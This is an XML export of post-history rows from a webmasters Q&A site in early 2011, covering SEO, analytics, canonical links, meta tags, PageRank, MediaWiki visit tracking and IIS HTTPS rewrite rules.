  <row Id="22789" PostHistoryTypeId="2" PostId="10211" RevisionGUID="2b0e4871-c61e-4f6a-847f-270a9ea29b38" CreationDate="2011-03-07T14:12:15.047" UserDisplayName="Mikhail" Text="Have you submitted a feedback in AdSense using their &quot;Report issue&quot; tool recently?&#xD;&#xA;&#xD;&#xA;Without having to accept any plugin permissions, from my browser (Firefox on Ubuntu) it took a screenshot of the page I was on, and allowed me to highlight important parts of the page / blackout personal data.&#xD;&#xA;&#xD;&#xA;Please help me figure out how to develop this. I think any website that seeks development feedback could utilize this.&#xD;&#xA;&#xD;&#xA;P.S. Also help me figure out proper tags" />
  <row Id="22790" PostHistoryTypeId="1" PostId="10211" RevisionGUID="2b0e4871-c61e-4f6a-847f-270a9ea29b38" CreationDate="2011-03-07T14:12:15.047" UserDisplayName="Mikhail" Text="How to? Adsense &quot;Report Issue&quot; with highlight / blackout / screenshot" />
  <row Id="22791" PostHistoryTypeId="3" PostId="10211" RevisionGUID="2b0e4871-c61e-4f6a-847f-270a9ea29b38" CreationDate="2011-03-07T14:12:15.047" UserDisplayName="Mikhail" Text="&lt;browsers&gt;&lt;google-adsense&gt;" />
  <row Id="22792" PostHistoryTypeId="17" PostId="10211" RevisionGUID="80eac22d-d010-4972-910b-6fc6bc5bf87d" CreationDate="2011-03-07T14:39:38.540" UserId="-1" Comment="from http://stackoverflow.com/questions/5220687/how-to-adsense-report-issue-with-highlight-blackout-screenshot" Text="" />
  <row Id="22793" PostHistoryTypeId="2" PostId="10212" RevisionGUID="0a1a4cc3-aa11-49c6-86f8-0729d894696c" CreationDate="2011-03-07T14:44:09.657" UserId="2898" Text="You are correct. The new Facebook comments are loaded in an iframe and will **not** be indexed and attributed to that page. &#xD;&#xA;&#xD;&#xA;Comments are extremely valuable from an SEO perspective since they provide additional text and contain the syntax of users. They can help Google better determine the topic and accelerate keyword clustering which will deliver a wider range of keywords to that page. The latter can be seen when Google creates its own search snippet by finding the query keywords in your comments." />
  <row Id="22794" PostHistoryTypeId="2" PostId="10213" RevisionGUID="70055a31-020e-4aaf-9245-ef0b4cf68e02" CreationDate="2011-03-07T14:44:36.020" UserId="5849" Text="This might not be a solution that you like, but one option would be to spin the articles so that they don't count as duplicate content but say the same thing. If you can change 70 - 80% of the wording you should be fine and change the structure a bit (add paragraph break or something like that)&#xD;&#xA;&#xD;&#xA;Then you can post the new version on your site and then include a link on the old version to the new site. This would jumpstart your backlinks to the new site. It wouldn't give you any link juice that the old articles have, but if they are not doing well anyway, that may not matter. If you can't redirect, this is an SEO friendly option. &#xD;&#xA;&#xD;&#xA;Also, another thing to keep in mind is that if you are going to be adding more content to the new site quickly, having a couple duplicate articles shouldn't hurt. If there are only a few articles to start with and you will be adding a lot more, Google should see the new content as over powering the old. But this might not be your situation. " />
  <row Id="22795" PostHistoryTypeId="2" PostId="10214" RevisionGUID="d628f704-d8f3-45fb-9691-5aadc3dd6f74" CreationDate="2011-03-07T14:44:40.577" UserId="-1" Text="" />
  <row Id="22796" PostHistoryTypeId="2" PostId="10215" RevisionGUID="57733a26-dfcc-4a8c-9d8f-815653eb49e9" CreationDate="2011-03-07T14:44:40.577" UserId="-1" Text="" />
  <row Id="22797" PostHistoryTypeId="2" PostId="10216" RevisionGUID="21cb5dc6-225e-41c3-b8fc-b49349c6205c" CreationDate="2011-03-07T14:47:15.253" UserId="5900" Text="How can I track *new* traffic sources for my site? (with google analytics or other tool)&#xD;&#xA;&#xD;&#xA;For example, if site is mentioned on forum it gets some visits from here, but it isn't visible in traffic sources report because number of visits relatively small." />
  <row Id="22798" PostHistoryTypeId="1" PostId="10216" RevisionGUID="21cb5dc6-225e-41c3-b8fc-b49349c6205c" CreationDate="2011-03-07T14:47:15.253" UserId="5900" Text="New traffic sources" />
  <row Id="22799" PostHistoryTypeId="3" PostId="10216" RevisionGUID="21cb5dc6-225e-41c3-b8fc-b49349c6205c" CreationDate="2011-03-07T14:47:15.253" UserId="5900" Text="&lt;analytics&gt;&lt;traffic&gt;&lt;visitors&gt;" />
  <row Id="22800" PostHistoryTypeId="2" PostId="10217" RevisionGUID="bc48d94b-864d-4c0b-b2b2-cca3f90b3a88" CreationDate="2011-03-07T14:51:39.117" UserId="5849" Text="Definitely look at Google Webmaster Tools as this will tell you all about your site and how it is indexed. You will be able to see backlinks to your site and how your site appears to Google. &#xD;&#xA;&#xD;&#xA;One other interesting way to keep tabs on your indexed pages is using a Google Alert. This won't be able to help you with past pages, but is a way to see new pages as they get indexed. Set up a Google alert for the search: &#xD;&#xA;&#xD;&#xA;&gt; site:www.yourdomain.com&#xD;&#xA;&#xD;&#xA;You will get an email each time a new page on your site is indexed. " />
  <row Id="22801" PostHistoryTypeId="5" PostId="10214" RevisionGUID="1df2d995-af1f-416f-9135-387ef4cb14ca" CreationDate="2011-03-07T14:53:44.073" UserId="1643" Comment="added 439 characters in body" Text="The htaccess file is used by the mod_rewrite module of the Apache webserver. It allows URLs to be rewritten for scenarios such as the following&#xD;&#xA;&#xD;&#xA; - Shortcuts such as example.com/info to redirect to another page&#xD;&#xA; - Redirects from old pages to new pages&#xD;&#xA; - Password protection of directories and files&#xD;&#xA;&#xD;&#xA;For full documentation see the [mod_rewrite documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html" />
  <row Id="22802" PostHistoryTypeId="24" PostId="10214" RevisionGUID="1df2d995-af1f-416f-9135-387ef4cb14ca" CreationDate="2011-03-07T14:53:44.073" Comment="Proposed by 1643 approved by 108 edit id of 49" />
  <row Id="22803" PostHistoryTypeId="2" PostId="10218" RevisionGUID="33fc058c-ebbb-452e-b3ae-c71c753ecf5f" CreationDate="2011-03-07T14:57:06.817" UserId="5297" Text="I'm a hardcore developer gone freelance and I'm getting more and more requests for adwords from my clients. I've just started to read up on it, and of course I'm starting with wikipedia.&#xD;&#xA;&#xD;&#xA;  I wanted to post here if anyone has some tips or some good blog entires that describe the effect some words do and the reaction Google has to some other words. I've always built SEO support into my pages, but content management is a foreign approach and I was wondering if there are any really awesome guides out there I can take a look at.&#xD;&#xA;&#xD;&#xA;As always, thanks!" />
  <row Id="22804" PostHistoryTypeId="1" PostId="10218" RevisionGUID="33fc058c-ebbb-452e-b3ae-c71c753ecf5f" CreationDate="2011-03-07T14:57:06.817" UserId="5297" Text="the zen of adwords" />
  <row Id="22805" PostHistoryTypeId="3" PostId="10218" RevisionGUID="33fc058c-ebbb-452e-b3ae-c71c753ecf5f" CreationDate="2011-03-07T14:57:06.817" UserId="5297" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;&lt;adwords&gt;" />
  <row Id="22806" PostHistoryTypeId="2" PostId="10219" RevisionGUID="1eb7eecd-ed96-4185-83c6-1fe64ab6872f" CreationDate="2011-03-07T15:06:01.937" UserId="5718" Text="You should be able to see all the traffic sources in the &quot;All Traffic Sources&quot; report regardless of how few visits you have. The problems you could have are as follows:&#xD;&#xA;&#xD;&#xA; 1. You don't have the GA tag set up properly on your pages.&#xD;&#xA; 2. Occasionally people set their browsers to block the referral source. There's not much that can be done about that.&#xD;&#xA; 3. Some sites use a redirect to deliberately remove the referral source. This is often done by affiliates that don't want advertisers to know how they are generating visits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22807" PostHistoryTypeId="5" PostId="10216" RevisionGUID="141ae291-f0b8-4236-baeb-f398a27d0f5c" CreationDate="2011-03-07T15:10:48.377" UserId="5900" Comment="added 5 characters in body" Text="How can I track *new* traffic sources for my site? (with google analytics or other tool)&#xD;&#xA;&#xD;&#xA;For example, if site is mentioned on forum it gets some visits from here, but it isn't visible easy in traffic sources report because number of visits relatively small." />
  <row Id="22808" PostHistoryTypeId="5" PostId="10218" RevisionGUID="69595c5d-7abd-40ab-965f-e2b2d2792076" CreationDate="2011-03-07T15:15:13.533" UserId="5297" Comment="deleted 169 characters in body" Text="I'm a hardcore developer gone freelance and I'm getting more and more requests for adwords from my clients. I've just started to read up on it, and of course I'm starting with wikipedia and have moved onto the main site now. &#xD;&#xA;&#xD;&#xA;  I wanted to post here if anyone has some tips or some good blog entires that describe how it works. Strategy posts would be awesome.&#xD;&#xA;&#xD;&#xA;As always, thanks!" />
  <row Id="22809" PostHistoryTypeId="2" PostId="10220" RevisionGUID="9e6a3323-fe52-4844-971a-a04df4c1a430" CreationDate="2011-03-07T15:16:02.690" UserId="5718" Text="Andrew Goodman is one of the best authors on the subject of AdWords. His book &quot;Winning Results using Google AdWords&quot; (now in the second edition) is a must read and there's a shorter free guide available on his site at http://www.pagezero.com/publications/google-adwords-guide.php&#xD;&#xA;&#xD;&#xA;You could also check out the PPC Hero blog at http://www.ppchero.com/ as it contains a wealth of useful articles on the subject. &#xD;&#xA;" />
  <row Id="22810" PostHistoryTypeId="2" PostId="10221" RevisionGUID="c5975495-1123-4270-8eb9-9e14baab8be8" CreationDate="2011-03-07T17:18:49.277" UserId="1583" Text="Assuming that you aren't looking to spend thousands on license costs you will be picking a CMS based on the Open Source/Free license offerings. &#xD;&#xA;&#xD;&#xA;You should consider the latest trends for CMS, because looking at it objectively most CMSs have all the features you need.  It is easy enough to recommend/hate any CMS on the market based on good/bad experiences - but you are better off by starting with a shortlist that:&#xD;&#xA;&#xD;&#xA; - a) match your technical skills (if any) &#xD;&#xA; - b) have an active community &#xD;&#xA; - c) are well used and mature&#xD;&#xA; - d) are extensible and should match you present and future needs&#xD;&#xA;&#xD;&#xA;This &lt;a href=&quot;http://www.waterandstone.com/book/2010-open-source-cms-market-share-report&quot;&gt;CMS report by Water and Stone&lt;/a&gt; should be useful in all those regards." />
  <row Id="22811" PostHistoryTypeId="25" PostId="10216" RevisionGUID="53c568f0-1c33-49b6-8a01-152307eab7e5" CreationDate="2011-03-07T17:23:28.683" Comment="http://twitter.com/#!/StackWebmasters/status/44810408661499904" />
  <row Id="22812" PostHistoryTypeId="2" PostId="10222" RevisionGUID="155c2979-a6f7-411a-9b89-e32179da62a1" CreationDate="2011-03-07T17:55:53.027" UserId="1953" Text="I'd Say +1 for PPChero.com already mentioned and add http://ppcblog.com/blog/&#xD;&#xA;&#xD;&#xA;In terms of learning, Google has a study guide for passing the test to become an AdWord certified Professional&#xD;&#xA;&#xD;&#xA;http://adwords.google.com/support/aw/bin/static.py?hl=en&amp;page=examstudy.cs&amp;rd=1&#xD;&#xA;&#xD;&#xA;that's about as comprehensive as it gets as far as I have seen, at least when it comes down to fundamental concepts." />
  <row Id="22813" PostHistoryTypeId="17" PostId="10224" RevisionGUID="6d9190dd-eb46-4109-b38b-33a57e86ccab" CreationDate="2011-03-07T18:03:46.590" UserId="-1" Comment="from http://stackoverflow.com/questions/5211061/how-to-get-visits-statistics-from-mediawiki-page-without-asking-this-from-the-ad/5211754#5211754" Text="" />
  <row Id="22814" PostHistoryTypeId="2" PostId="10224" RevisionGUID="e31ad7d5-99e4-4d47-af7b-419d5a8755d5" CreationDate="2011-03-06T16:28:48.313" UserDisplayName="Anomie" Text="There isn't any general way to get unique visits in MediaWiki. The closest you can come is to query the API with a query like `action=query&amp;prop=info&amp;titles=My+Page` and look for the `counter` property in the response, but do note this isn't &quot;unique&quot; visits and it may be disabled on a particular installation (e.g. Wikimedia wikis disable it because it is useless with the heavy caching they do).&#xD;&#xA;&#xD;&#xA;Your best bet is to ask the admin for statistics, or ask them to install your statcounter.com web bug or the like." />
  <row Id="22815" PostHistoryTypeId="2" PostId="10223" RevisionGUID="4dbe74ae-150c-44b8-a137-54bfd7934165" CreationDate="2011-03-06T14:30:40.243" UserDisplayName="sm10" Text="I want to log / track unique page visits to a page in a mediawiki wiki, but I can't ask the this mediawiki admin to give me the data.  If this was a page on my website I would just use statcounter.com.  But it is a mediawiki wikipage that I contribute to and want to get the statistics. " />
  <row Id="22816" PostHistoryTypeId="1" PostId="10223" RevisionGUID="4dbe74ae-150c-44b8-a137-54bfd7934165" CreationDate="2011-03-06T14:30:40.243" UserDisplayName="sm10" Text="How to get visits statistics from mediawiki page, without asking this from the admin?" />
  <row Id="22817" PostHistoryTypeId="3" PostId="10223" RevisionGUID="4dbe74ae-150c-44b8-a137-54bfd7934165" CreationDate="2011-03-06T14:30:40.243" UserDisplayName="sm10" Text="&lt;mediawiki&gt;&lt;tracking&gt;" />
  <row Id="22818" PostHistoryTypeId="17" PostId="10223" RevisionGUID="fbc152b3-e085-4f02-b7ac-67c7a309f4b8" CreationDate="2011-03-07T18:03:46.590" UserId="-1" Comment="from http://stackoverflow.com/questions/5211061/how-to-get-visits-statistics-from-mediawiki-page-without-asking-this-from-the-ad" Text="" />
  <row Id="22823" PostHistoryTypeId="17" PostId="10227" RevisionGUID="873f23bc-3946-4552-a6c3-61075429b8ab" CreationDate="2011-03-07T18:57:07.243" UserId="-1" Comment="from http://stackoverflow.com/questions/3708794/where-could-i-buy-a-social-networking-html-template-or-psd-ai-file/3708978#3708978" Text="" />
  <row Id="22824" PostHistoryTypeId="17" PostId="10228" RevisionGUID="3aa4084c-407c-4cfc-841d-c264ec318e15" CreationDate="2011-03-07T18:57:07.243" UserId="-1" Comment="from http://stackoverflow.com/questions/3708794/where-could-i-buy-a-social-networking-html-template-or-psd-ai-file/4049364#4049364" Text="" />
  <row Id="22825" PostHistoryTypeId="2" PostId="10227" RevisionGUID="8788958a-00c0-4244-b72b-7394891026f4" CreationDate="2010-09-14T12:46:28.440" UserDisplayName="Luke Vella" Text="Why not try Buddy Press? buddypress.org&#xD;&#xA;&#xD;&#xA;You're probably not going to get PSDs but there's plenty of themes to choose from. [http://buddypress.org/extend/themes/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://buddypress.org/extend/themes/" />
  <row Id="22826" PostHistoryTypeId="2" PostId="10228" RevisionGUID="eb75baa9-d8f0-4347-9754-1e11f5d2372f" CreationDate="2010-10-29T05:58:08.487" UserDisplayName="Jack" Text="templatearc.com can help you out,there are plenty of templates.&#xD;&#xA;you may search some web design providers who can work for you, they will assist you from design to coding." />
  <row Id="22827" PostHistoryTypeId="2" PostId="10226" RevisionGUID="a4f01d62-abb4-40ee-b56e-cac93bd8eace" CreationDate="2010-09-14T12:21:21.960" UserDisplayName="Tom" Text="I'd like to start some little private social network and I'd need a web design, I looked throughout themeforest but did not found one. (There's only blogs/portfolio templates).&#xD;&#xA;&#xD;&#xA;Do you know any good place where I could buy a pre-made social network html template?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="22828" PostHistoryTypeId="1" PostId="10226" RevisionGUID="a4f01d62-abb4-40ee-b56e-cac93bd8eace" CreationDate="2010-09-14T12:21:21.960" UserDisplayName="Tom" Text="Where could I buy a &quot;social networking&quot; html template or psd/ai file?" />
  <row Id="22829" PostHistoryTypeId="3" PostId="10226" RevisionGUID="a4f01d62-abb4-40ee-b56e-cac93bd8eace" CreationDate="2010-09-14T12:21:21.960" UserDisplayName="Tom" Text="&lt;html&gt;&lt;design&gt;&lt;photoshop&gt;" />
  <row Id="22830" PostHistoryTypeId="17" PostId="10226" RevisionGUID="841e966a-c6e1-4bc4-9e17-5793812f60b7" CreationDate="2011-03-07T18:57:07.243" UserId="-1" Comment="from http://stackoverflow.com/questions/3708794/where-could-i-buy-a-social-networking-html-template-or-psd-ai-file" Text="" />
  <row Id="22831" PostHistoryTypeId="2" PostId="10229" RevisionGUID="5a8a29d1-e6c9-4ce8-9bec-da076e6e47b4" CreationDate="2011-03-07T19:14:22.470" UserId="5727" Text="I've got the canonical:&#xD;&#xA;&#xD;&#xA;    &lt;link href=&quot;http://www.Site.com/Blog/how-to-know-when-this&quot; rel=&quot;canonical&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Is it ok if this is on the page it is pointing to?&#xD;&#xA;&#xD;&#xA;Also I'm putting it on all these pages:&#xD;&#xA;&#xD;&#xA;    http://www.Site.com/Blog/how-to-know-when-this&#xD;&#xA;    http://www.Site.com/Blog/how-to-know-when-this/&#xD;&#xA;    http://www.Site.com/Blog.aspx?ID=1&#xD;&#xA;    http://www.Site.com/Blog/how-to-know-when-this/?q=&#xD;&#xA;&#xD;&#xA;Is this correct useage?" />
  <row Id="22832" PostHistoryTypeId="1" PostId="10229" RevisionGUID="5a8a29d1-e6c9-4ce8-9bec-da076e6e47b4" CreationDate="2011-03-07T19:14:22.470" UserId="5727" Text="Is it ok for a canonical link to point to itself?" />
  <row Id="22833" PostHistoryTypeId="3" PostId="10229" RevisionGUID="5a8a29d1-e6c9-4ce8-9bec-da076e6e47b4" CreationDate="2011-03-07T19:14:22.470" UserId="5727" Text="&lt;canonical-url&gt;" />
  <row Id="22834" PostHistoryTypeId="2" PostId="10230" RevisionGUID="0f7db6a8-0dc6-48ff-8da9-88d6289c6276" CreationDate="2011-03-07T19:18:02.420" UserId="1253" Text="That's perfectly fine to do. It's just redundant and doesn't do any harm." />
  <row Id="22835" PostHistoryTypeId="2" PostId="10231" RevisionGUID="9e827f04-9def-4f0a-b10a-611f3bbddf96" CreationDate="2011-03-07T19:29:13.453" UserId="5034" Text="add some glossy buttons...&#xD;&#xA;&#xD;&#xA;*SCNR*" />
  <row Id="22836" PostHistoryTypeId="2" PostId="10232" RevisionGUID="e5a79d89-9e3b-44cc-a13a-cec847a8523f" CreationDate="2011-03-07T19:32:38.023" UserId="5907" Text="I have a wordpress blog and a www-website on the same domain for about one year. Together it is about 170 pages. The page rank is still 0. I understand that page rank 0 is a penalty for duplicate content. The pages are indexed in google but still no page rank.&#xD;&#xA;&#xD;&#xA;In google webmaster tools there is no indication for any problem. I asked for reconsideration of both blog and website a month ago. Google accepted the reconsideration but it did not change anything.&#xD;&#xA;&#xD;&#xA;Other pages of similar size and similar audience earn PR 4-6. Is there something I can do in order to get a fair page rank?&#xD;&#xA;&#xD;&#xA;A coworker told me that it might be the case that a link farm is using the content and I can do nothing about it. Is there a reliable way to check for something like that?&#xD;&#xA;&#xD;&#xA;I do not like to give up so quickly is there a chance to fix this by for example moving to another domain?" />
  <row Id="22837" PostHistoryTypeId="1" PostId="10232" RevisionGUID="e5a79d89-9e3b-44cc-a13a-cec847a8523f" CreationDate="2011-03-07T19:32:38.023" UserId="5907" Text="page rank 0 penalty" />
  <row Id="22838" PostHistoryTypeId="3" PostId="10232" RevisionGUID="e5a79d89-9e3b-44cc-a13a-cec847a8523f" CreationDate="2011-03-07T19:32:38.023" UserId="5907" Text="&lt;google&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="22839" PostHistoryTypeId="2" PostId="10233" RevisionGUID="504b3e6f-37dd-47b0-a8b1-95be9e792392" CreationDate="2011-03-07T19:36:59.630" UserId="132" Text="It's difficult to make specific suggestions without more detail. That said, there are some general ideas you may wish to explore...&#xD;&#xA;&#xD;&#xA;* add a blog, if there isn't one already - adds some amount of freshness and provides the possibility of two-way interaction between yourself and your audience&#xD;&#xA;* you mention having created a Facebook page - maybe look at getting a Twitter account as well, to provide an additional communication channel&#xD;&#xA;* investigate social media options - you don't need to use every service out there, but sign up for social media/networking sites that have some relevance to your site. As an example, if your site were about photography, it could make sense to have accounts on Flickr or Smugmug as well." />
  <row Id="22840" PostHistoryTypeId="2" PostId="10234" RevisionGUID="ef4ab0ec-dae5-40ff-804c-3fb1ef804c79" CreationDate="2011-03-07T19:43:17.607" UserId="1253" Text="First and foremost what you see in the toolbar is not your real PR. It is a rounded number that represents a snap shot from some unknown point in the past. So it cannot be considered reliable or accurate.&#xD;&#xA;&#xD;&#xA;Secondly, how do your pages rank? If they're indexed they can potentially rank well despite whatever the toolbar says your PR is. PR is just one of about 200+ ranking factors and most likely a small one at that. So if your pages are indexed a low PR won't stop them from ranking well.&#xD;&#xA;&#xD;&#xA;Thirdly, PR is all about links. Period. Not content nor size nor topic. Links. Do you have any links pointing to your pages? Do they have decent PR? Are they nofollow? Do they have good PR themselves?&#xD;&#xA;&#xD;&#xA;Link farms stealing your content may hurt your potential to be either indexed or rank well but won't affect your PR. If you published that content first then you should (theoretically) be included in the Google's index and they should not. Google has been cracking down on this lately, along with poor content, so if you are having issues with this and are the original author you need to sit tight while it gets sorted out by Google. But this still won't affect your PR." />
  <row Id="22841" PostHistoryTypeId="5" PostId="10234" RevisionGUID="cba3d771-8d94-4c9e-8515-b987ffd0d5b9" CreationDate="2011-03-07T19:48:49.583" UserId="1253" Comment="added 561 characters in body" Text="First and foremost what you see in the toolbar is not your real PR. It is a rounded number that represents a snap shot from some unknown point in the past. So it cannot be considered reliable or accurate.&#xD;&#xA;&#xD;&#xA;Secondly, how do your pages rank? If they're indexed they can potentially rank well despite whatever the toolbar says your PR is. PR is just one of about 200+ ranking factors and most likely a small one at that. So if your pages are indexed a low PR won't stop them from ranking well.&#xD;&#xA;&#xD;&#xA;Thirdly, PR is all about links. Period. Not content nor size nor topic. Links. Do you have any links pointing to your pages? Do they have decent PR? Are they nofollow? Do they have good PR themselves?&#xD;&#xA;&#xD;&#xA;Fourthly (is that even a word?), PR is per page, not per site. So your home page has a PR of zero, not your whole website (although your inner pages may also have a PR of zero but that's considered separately and not as a group).&#xD;&#xA;&#xD;&#xA;Link farms stealing your content may hurt your potential to be either indexed or rank well but won't affect your PR. If you published that content first then you should (theoretically) be included in the Google's index and they should not. Google has been cracking down on this lately, along with poor content, so if you are having issues with this and are the original author you need to sit tight while it gets sorted out by Google. But this still won't affect your PR.&#xD;&#xA;&#xD;&#xA;Your job is to get some links to point to your home page ideally from related sites that rank well for your term (not only for PR but for ranking purposes). Start with links in directories related to your site and go from there. Those links will be low value but can represent a beginning of your efforts to improve your PR." />
  <row Id="22842" PostHistoryTypeId="6" PostId="10232" RevisionGUID="515196e1-09b3-4d22-875b-78b0a3e6640b" CreationDate="2011-03-07T19:50:48.473" UserId="1253" Comment="removed &quot;google-webmaster-tools&quot;, &quot;search-engines&quot; tags" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="22843" PostHistoryTypeId="2" PostId="10235" RevisionGUID="f8ef4113-9a18-41c1-832b-16f847b7ebc7" CreationDate="2011-03-07T20:09:14.043" UserId="5157" Text="I've used [Kunena][1] on multiple sites, it's nice and really simple and is built for Joomla. There are also [bridges][2] for stand alone forums like phpBB, etc. Hope that helps you out!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://extensions.joomla.org/extensions/communication/forum/7256&#xD;&#xA;  [2]: http://extensions.joomla.org/extensions/communication/forum-bridges" />
  <row Id="22844" PostHistoryTypeId="2" PostId="10236" RevisionGUID="34f5c1e1-1d20-4a60-9a7d-2b12deb859d5" CreationDate="2011-03-07T20:04:20.990" UserDisplayName="maxfridbe" Text="Are there any good .NET4 Hosting providers that could host an MVC.net 4.0 application.  IXWebhosting which is what I'm using now, says that they have no plans to move to 4.0.  Either virtualized hosting or dedicated depending on the price?" />
  <row Id="22845" PostHistoryTypeId="1" PostId="10236" RevisionGUID="34f5c1e1-1d20-4a60-9a7d-2b12deb859d5" CreationDate="2011-03-07T20:04:20.990" UserDisplayName="maxfridbe" Text="Good .NET4 hosting providers" />
  <row Id="22846" PostHistoryTypeId="3" PostId="10236" RevisionGUID="34f5c1e1-1d20-4a60-9a7d-2b12deb859d5" CreationDate="2011-03-07T20:04:20.990" UserDisplayName="maxfridbe" Text="&lt;web-hosting&gt;" />
  <row Id="22847" PostHistoryTypeId="17" PostId="10236" RevisionGUID="9c24b6a0-a5df-4e72-a92b-40009f2993a0" CreationDate="2011-03-07T20:20:11.677" UserId="-1" Comment="from http://superuser.com/questions/254473/good-net4-hosting-providers" Text="" />
  <row Id="22848" PostHistoryTypeId="25" PostId="10229" RevisionGUID="0d282f18-2863-436a-9d31-b4c2d13ec137" CreationDate="2011-03-07T20:23:28.490" Comment="http://twitter.com/#!/StackWebmasters/status/44855707052421120" />
  <row Id="22849" PostHistoryTypeId="2" PostId="10237" RevisionGUID="f7179d2f-6bc1-44d0-aebf-26a3e83da444" CreationDate="2011-03-07T20:31:42.340" UserId="5727" Text="I generate my meta tags dynamically, they render like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;meta id=&quot;HeadContent_MetaDescription&quot; name=&quot;description&quot; content=&quot;Is Adobe Flash going out?  And is HTML5 taking over the world?&quot;&gt;&lt;/meta&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The ID isn't needed, and it doesn't close with `/&gt;`.  Is this OK?  Or going to cause problems?" />
  <row Id="22850" PostHistoryTypeId="1" PostId="10237" RevisionGUID="f7179d2f-6bc1-44d0-aebf-26a3e83da444" CreationDate="2011-03-07T20:31:42.340" UserId="5727" Text="Redundant meta attributes" />
  <row Id="22851" PostHistoryTypeId="3" PostId="10237" RevisionGUID="f7179d2f-6bc1-44d0-aebf-26a3e83da444" CreationDate="2011-03-07T20:31:42.340" UserId="5727" Text="&lt;meta-description&gt;" />
  <row Id="22852" PostHistoryTypeId="2" PostId="10238" RevisionGUID="c5b2fea1-f3a2-46a6-bf3c-dfa23c2f071c" CreationDate="2011-03-07T20:37:05.063" UserId="1253" Text="That's not valid HTML as the `&lt;meta`&gt; tag has no closing element. So remove the `&lt;/meta&gt;` tag and use the trailing /. Also, [the ID attribute is not valid for meta tags][1]. So you would need to change your meta tag to look like this to be valid xHTML:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;Is Adobe Flash going out?  And is HTML5 taking over the world?&quot; /&gt;&#xD;&#xA;&#xD;&#xA;If you aren't use xHTML then you can omit the trailing slash:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;Is Adobe Flash going out?  And is HTML5 taking over the world?&quot;&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/struct/global.html#h-7.4.4.2" />
  <row Id="22853" PostHistoryTypeId="6" PostId="10237" RevisionGUID="c96b8bc1-95bf-489e-9734-a5ee619d434f" CreationDate="2011-03-07T20:37:53.833" UserId="1253" Comment="edited tags" Text="&lt;html&gt;&lt;meta-description&gt;" />
  <row Id="22854" PostHistoryTypeId="2" PostId="10239" RevisionGUID="0513692f-c918-4132-9f9f-643e506df410" CreationDate="2011-03-07T23:14:08.993" UserId="5718" Text="If you're able to install extensions on the site at all then you could try the one for Google Analytics at http://www.mediawiki.org/wiki/Extension:Google_Analytics_Integration&#xD;&#xA;&#xD;&#xA;Otherwise, another solution might be to try a &quot;web beacon&quot;. That's where you insert a resource from an external site into a page so you can track the hits for it when pages are requested by a browser. For example, you could add an image to a post with a URL like http://www.yourdomain.com/tracking_pixel.gif then count the requests for it. However, this depends on the setup of MediaWiki because the ability to insert external images into a page might have been disabled. You can read more about that at http://www.mediawiki.org/wiki/Manual:Linked_images&#xD;&#xA;&#xD;&#xA;Also note that the requests for the image won't be unique so you will need to attach a cookie to it so you can identify unique users." />
  <row Id="22855" PostHistoryTypeId="25" PostId="10237" RevisionGUID="406c4ae1-272d-443b-86b5-b262f058ba66" CreationDate="2011-03-07T23:23:28.593" Comment="http://twitter.com/#!/StackWebmasters/status/44901004981977089" />
  <row Id="22857" PostHistoryTypeId="2" PostId="10241" RevisionGUID="01b5808b-8074-45a6-a869-33c1f2d6add5" CreationDate="2011-03-07T21:57:32.943" UserDisplayName="BrettRobi" Text="I am trying to force all traffic on my web site to use HTTPS, using the URL Rewrite 2.0 module added to IIS 7.5. I got that working and now have a need to exclude a couple of pages from using SSL. So I need a rule to rewrite all URL except those referencing this folder to HTTPS. I've been banging my head against the wall on this and am hoping someone can help.&#xD;&#xA;I tried creating a rule to match all URL except those in a nossl subfolder as in this example:&#xD;&#xA;&#xD;&#xA;    &lt;rule name=&quot;HTTP to HTTPS redirect&quot; enabled=&quot;true&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;      &lt;match url=&quot;(/nossl/.*)&quot; negate=&quot;true&quot; /&gt;&#xD;&#xA;      &lt;conditions logicalGrouping=&quot;MatchAll&quot; trackAllCaptures=&quot;false&quot;&gt;&#xD;&#xA;    		&lt;add input=&quot;{HTTPS}&quot; pattern=&quot;off&quot; /&gt;&#xD;&#xA;      &lt;/conditions&gt;&#xD;&#xA;      &lt;action type=&quot;Redirect&quot; url=&quot;https://{HTTP_HOST}/{R:1}&quot; redirectType=&quot;Found&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But this doesn't work. Can anyone help?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22858" PostHistoryTypeId="1" PostId="10241" RevisionGUID="01b5808b-8074-45a6-a869-33c1f2d6add5" CreationDate="2011-03-07T21:57:32.943" UserDisplayName="BrettRobi" Text="URL Rewrite http to https EXCEPT files in a specific subfolder" />
  <row Id="22859" PostHistoryTypeId="3" PostId="10241" RevisionGUID="01b5808b-8074-45a6-a869-33c1f2d6add5" CreationDate="2011-03-07T21:57:32.943" UserDisplayName="BrettRobi" Text="&lt;iis&gt;&lt;url-rewriting&gt;" />
  <row Id="22860" PostHistoryTypeId="17" PostId="10241" RevisionGUID="f7a4dc14-c992-4168-a747-84c4bb37ee99" CreationDate="2011-03-08T00:02:19.007" UserId="-1" Comment="from http://serverfault.com/questions/244379/url-rewrite-http-to-https-except-files-in-a-specific-subfolder" Text="" />
  <row Id="22861" PostHistoryTypeId="2" PostId="10242" RevisionGUID="581e0e7e-e65e-4051-b049-150d41485104" CreationDate="2011-03-07T23:45:58.210" UserDisplayName="hydrarulz" Text="I've used OpenX a few years ago and it worked fine. &#xD;&#xA;Now I see that it wasn't maintained for a while hence it became buggy on newer versions of PHP.&#xD;&#xA;&#xD;&#xA;Do you know any Ad server that is a good alternative to OpenX ?" />
